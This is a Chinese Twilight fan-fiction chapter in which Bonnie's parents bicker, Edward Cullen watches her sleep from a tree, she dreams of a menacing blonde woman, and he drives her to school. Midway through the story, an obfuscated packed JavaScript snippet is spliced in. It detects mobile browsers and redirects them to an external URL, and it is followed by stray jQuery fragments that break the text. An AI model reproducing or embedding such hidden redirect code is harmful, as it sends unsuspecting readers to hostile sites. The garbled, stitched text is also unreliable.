回到家门那一刻，邦妮第一反应不是“终于自由了”，而是“我要是晚五分钟回来，说不定就只能吃上爸妈的双人脱口秀”。
果然，她刚推门进屋，客厅那头立刻响起一连串语速对不上频道的对话声。
“我说了啊，这遥控器明明是放在沙发靠背上的，是你看完新闻随手扔哪儿了！”
“我看完新闻？亲爱的你是不是昨晚梦见我转行当体育主播了？你才是那个看棒球看到凌晨两点的人！”
她把外套一扔，稳稳接住飞过来的抱枕：“哇哦，两位评委今晚是要上演‘记忆错乱大作战’吗？”
“邦妮！”她妈探出头，脸上还残留着刚刚咬牙斗嘴的微妙笑意，“你怎么这么晚回来？今天不是短课吗？”
“在图书馆给安吉拉帮了点忙。”她顺口回答，换鞋动作一气呵成，“顺便蹭了个车回来。”
“蹭车？”她爸立刻从厨房探头，“哪个男生？”
“爱德华·卡伦，”她边说边往厨房走，“福克斯最近话题中心的那一家。”
她爸吹了个低哨，像刚猜中超级碗比分一样神气：“啊，就是那个开沃尔沃的小伙子？”
“你能记住车名却记不住我小学老师的名字，真是家族特色。”她翻了个白眼。
晚饭是她爸亲手做的鸡肉卷饼，不出所料，一如既往地酱汁太多、蔬菜太生、却因为分量十足而获得全家公认的“能吃饱奖”。
饭桌上他们照例一边互相吐槽对方口味奇葩，一边互喂对方切得不够规整的水果——像是一对熟年夫妻在演甜蜜版角斗场。
邦妮坐在桌边，嘴里咬着一根扭扭乐，听着他们拌嘴，嘴角勾着一点点，像是忘了收的笑。
这种夜晚并不常有，或者说，她并不是每天都觉得需要被这种“家的声音”包围。
但在外面经历了“被全校学生的眼神翻来覆去扫描”之后，这种吵吵闹闹反倒像消毒剂，带点刺鼻，却让人安心。
洗完澡，她躺回床上时，整个人沉进了那团有点凉、有点硬的棉被堆里。
屋外下起了点雨。
是福克斯那种典型的夜雨，不大不小，落在屋檐上像猫轻踩键盘，啪嗒啪嗒。
她翻了个身，把灯关了，房间顿时黑成一整块墨。
可她没能立刻睡着。
她不是那种“头一贴枕头就能入眠”的人，尤其是在今天这种被视线围观了一整天、神经绷得像弹簧的日子里。
她闭着眼，却能感觉到某种……微妙的粘稠感。
像是空气被一层无形的糖浆裹住，有某种视线沿着这层糖浆缓慢地、固执地、精准地贴上来。
她眉头动了一下。
这感觉她经历过。
那种背后似乎有谁站着、转头却又什么都没有的感觉。
不是恐怖片里的那种惊悚，而是……神经细胞被不动声色地挑起来，像有根细丝从皮肤悄悄穿过，直直拉住心脏。
她下意识拉了拉被子，把头埋进枕头里。
房间里一片死寂。
在她窗外，那棵高高的老橡树上，一个熟悉的影子一动不动地伏在枝桠之间。
雨落在他肩上，顺着衣角滑进树皮的纹理；他的琥珀色眼睛在黑夜中一点都不发亮，反而比夜还深。
他没呼吸，也没动作，像一块完美雕刻过的石雕。
只除了——
他的视线，从未离开房间的那扇小窗里，蜷在被子里的小小身影。
她是他夜晚唯一的兴趣。
他已经很久没弹琴了，也不读书，不翻德彪西的旧谱，不练拉丁语发音，不开阿斯顿·马丁，也不看天文星图。
他只是……看她。
他能听到她的呼吸，节奏从有点烦躁慢慢变平稳，然后呼吸声变轻了，浅了，她终于睡着。
而他，仿佛也获得了某种意料之外的沉静。
可邦妮并没有睡得很深。
她的梦从来不配合她的意志。
她梦见自己站在陌生的街头，天是青灰色的，建筑都是不完整的轮廓，像铅笔画到一半停下的素描。
风从她背后吹过来，她回头。
那个女人又出现了。
还是金发。不是柔和的金，是刺眼的、像刀尖闪着光的冷金。
她穿一件过分贴身的黑色连衣裙，头发被风吹得在耳后扬起，脸却几乎全被阴影盖住，看不清五官。
但她笑了。
是那种让人起鸡皮疙瘩的笑。
像知道你所有秘密、却不急着戳破的那种笑。
“你不该在这里。”女人开口，声音轻飘飘的，却清晰得像贴在她耳边说话。
“你是谁？”邦妮问，可一开口，自己声音像被压在水底。
女人没答，只慢慢伸出手，指尖在空中勾了一下——动作像是在对她打招呼，又像是在召唤她过去。
邦妮一步也没动，脚像被什么冻住了。
然后她眼前一花，整片梦境像照片一样突然褪色、燃烧、崩解。
她猛地从床上坐起来，浑身湿热。
呼吸还没回稳，天已经亮了。
而窗外那棵橡树上，早已空空如也。
连一滴雨水都没留下。
但福克斯镇的屋顶还披着昨夜残留的雨雾。
冷风穿过松林，从后院的树枝一路卷到前廊，带着一丝潮湿的木头味。邦妮家的屋檐上还挂着几颗雨珠，晶亮得像没卸妆时流下的泪。
邦妮正站在浴室镜子前，一边把头发从毛巾里拧干，一边用眼角余光盯着窗外那片灰得发青的天色。
“天杀的福克斯早晨。”她咕哝了一句，把毛巾一甩，“就没有一次是阳光配早餐的吗？”
她穿上厚卫衣，背包一拎，刚准备下楼，就听见楼下客厅有人轻轻清嗓。
“亲爱的，我觉得你该看看窗外。”她妈的声音传来，带着一点按捺不住的八卦口吻。
邦妮皱眉，走到楼梯口往下一看。
她爸正扒着百叶窗一条缝，像侦探片里偷窥邻居的退休老头子，“邦妮，沃尔沃小子来接你了。”
她下楼的脚步顿了一下。
推开门那一瞬，冷风扑了个满怀。
银色的沃尔沃停在车道边，车身在清晨薄光里反射出柔和的亮，像块刚擦过的铝。
爱德华靠在车门边，穿着那件标志性的深灰色夹克，肩膀宽窄适中，站姿笔直得像是海报印刷出来的模特样板。
他的眼睛——那种淡金琥珀色，在雾里不闪却更深，像刚打湿的蜂蜜。
他一看到她，嘴角动了一下，像是笑，但分贝低得几乎只有空气知道。
“你今天有点晚。”他说，声音还是那样好听得有点可恨。
邦妮站在门口，抱着背包不动，“你怎么知道我几点出门的？”
“我猜的。”他回得理直气壮。
“你猜得也太精准。”
“我练习过。”他眼神不动，脸也不红。
她翻个白眼，没再说什么，直接下了台阶，“以后你都打算这样？”
“如果你不介意。”他说着走到副驾驶一侧，自然地替她拉开车门。
她犹豫了一下，然后钻进车里。
“……你确定这不算骚扰？”
“如果是，我会改进成体贴。”他说着关上车门，从另一侧绕过来。
车门在她身侧“咔哒”一声关好，轻柔得像是刚刚合上一本密封的日记本。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15440325|168748||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
沃尔沃的内部空间干净到几乎没有人类痕迹，冷气里带着一点淡淡的松木味，像他本人那样的味道——干净、静默、但意外地有侵略性，像一柄掩在绒布下的匕首。
邦妮扣上安全带，目光投向前挡风玻璃：“你是不是昨晚就开着车堵我家门口了？”
爱德华坐进驾驶座，侧头看她一眼，那双琥珀色的眼睛在晨光里像抹了层昏金的蜜，“不，我是天亮前才来的。”
“你这么说反而更诡异了。”她靠向车窗，怀疑自己是不是该考虑申请禁足令。
但说完这句话，她忍不住偏头打量他。
他今天似乎特意换了套衣服，夹克和衬衫像是刚从熨斗下拿出来那种笔挺，发梢没有打湿，眉骨下没有疲倦的褶痕。也对，他又不睡觉。
“你干嘛对我的上学路线这么……热情？”她终于问出口，语气半是挑衅半是防御。
“我答应过你不会再闯进你生活。”他说，语气不紧不慢，“但我没答应不在你的生活边上等。”
这句话说得太顺了，顺得让人一瞬间忘了他其实是个不折不扣、冷脸金眼、极有可能一拳能把熊打飞的吸血鬼。
邦妮沉默了两秒，仿佛在咀嚼这句台词的口感：“你以前当过情诗作者吧？”
“不是。”他认真回她，“但我有阅读莎士比亚的习惯。”
“太好了，”她把头歪在靠背上，“我正缺个随身的复古文学播放器。”
车子驶出她家街口，转进通往学校的那条常规路线时，天边云层像被撕了一条缝，有点淡淡的光从后方洒下来。
“你爸妈昨晚有吵架吗？”他忽然问。
她瞥他一眼：“你怎么知道？”
“你脸上的神色有点像个参加完战地新闻发布会的记者。”他说得毫无情绪波动。
“……你现在是试图走温情路线？”她打量他，“还是在朝‘了解你的家人是了解你的第一步’方向滑行？”
“我只是关心。”他说，“这是我对你的天赋之一。”
“别告诉我你还有‘情感顾问’证书。”
“没有证书。”他微笑，“但我听了很多年夜间谈心。”
她被噎了一下，靠回座椅，不说话了。
车窗外的景色缓缓后退，远处的福克斯高中已经隐约可见，一排屋顶在雨后雾气中反着微光。
他轻声开口：“你今天梦到了什么？”
她回头看他一眼：“你怎么知道我做梦了？”
“你今早眼神比平时更……混。”他说，像是在诊断某种生物状态，“好像还没从梦里完全回来。”
她没答话，反而低头扣了扣指尖。
是的，她梦见了那个金发的女人。又一次，黑衣、笑容、模糊不清的脸，甚至说了话。但她没告诉他。
她感觉直觉已经在疯狂拉警报——这件事不能说。
说出口就像是把一块未干的油画用水冲洗，色块四散，轮廓溃散。
她要等，再观察一段时间。谁知道那女人会不会下一次递她一张名片，还是直接开门进来泡茶。
“梦的事我不想讲。”她抬头，“而你最好也别再问。”
爱德华没再追问，只是把车慢慢停进学校停车场最隐蔽的一角，熄火后沉默了一秒。
她打开门前，他轻声：“如果梦境让你害怕，我愿意……帮你睡得更安稳。”
这句话听着不算越界，却让她后颈起了一层细微的凉意。
她侧头盯他几秒：“你是说帮我做梦？还是帮我——入睡？”
他没答，只是像某种毫无威胁的古老生物一样微笑。
邦妮关上车门，背起包走向教学楼，只在心底默默骂了一句：妈的，这吸血鬼也太会钓人了。